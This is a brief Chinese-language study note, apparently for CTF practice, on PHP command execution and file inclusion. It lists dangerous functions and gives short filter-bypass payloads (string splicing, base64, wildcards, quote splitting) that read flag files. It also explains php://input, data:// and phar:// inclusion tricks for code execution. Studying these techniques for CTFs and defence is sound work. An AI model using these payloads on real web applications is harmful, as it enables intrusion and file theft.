一些整理的命令执行和文件包含的知识点,可能有些不完善,或者遗漏,甚至是错误
出现上述情况,麻烦您可以在评论中指出来,这是对我最大的帮助
命令执行
[!NOTE]
一些常用的命令执行函数:system(),passthru(),shell_exec(),exec(),`(反引号),popen()
一些常见的绕过方法:
- 1字符串拼接 :
?c=$a='fl'; $b='ag'; passthru("cat ".$a.$b);- 2编码 :
?c=passthru(base64_decode("Y2F0IGZsYWc="));(cat flag)- 3其他编码:
既然base64编码可以绕过,那其他编码应该也有可行的,就不列举了- 4利用
$_GET传递:?c=passthru($_GET[1]);&1=cat flag.php- 5通配符
*:?c=passthru('cat f*');- 6Shell 字符串拼接:
?c=passthru('cat fl""ag.txt');
文件包含
[!NOTE]
php://filter原理:编码/解码本地文件 功能:读取文件 过滤器:convert.base64-encode: 将数据编码为 Base64 convert.base64-decode: 将数据从 Base64 解码 string.rot13: 对数据进行 rot13data://
原理:读取 URL 中的内联数据 功能:RCE (远程代码执行) 形式 : A.明文形式 data://text/plain,<数据> B.Base64形式 data://[MIME类型];base64,<Base64编码的数据>php://input
原理: 读取http请求的原始包体 功能: RCE(远程代码执行) 特点: 可传较大的payload,需要发送POST请求 使用方式: url/?file=php://input 然后在POST请求中写入想要执行的代码,如<?php system('cat /flag.php');?>phar://
原理:解析 Manifest 部分时,PHP会自动对其进行反序列化 功能:PHP归档, 特点:1. 隐蔽性强:文件后缀可以是 jpg/png 等,只要内容含 Stub (__HALT_COMPILER) 2. 触发点多:不依赖 unserialize 方式:A. 生成含恶意对象的 Phar 文件 (可改名为 .jpg) B. 触发 payload:函数('phar://路径/文件.jpg')



































































































































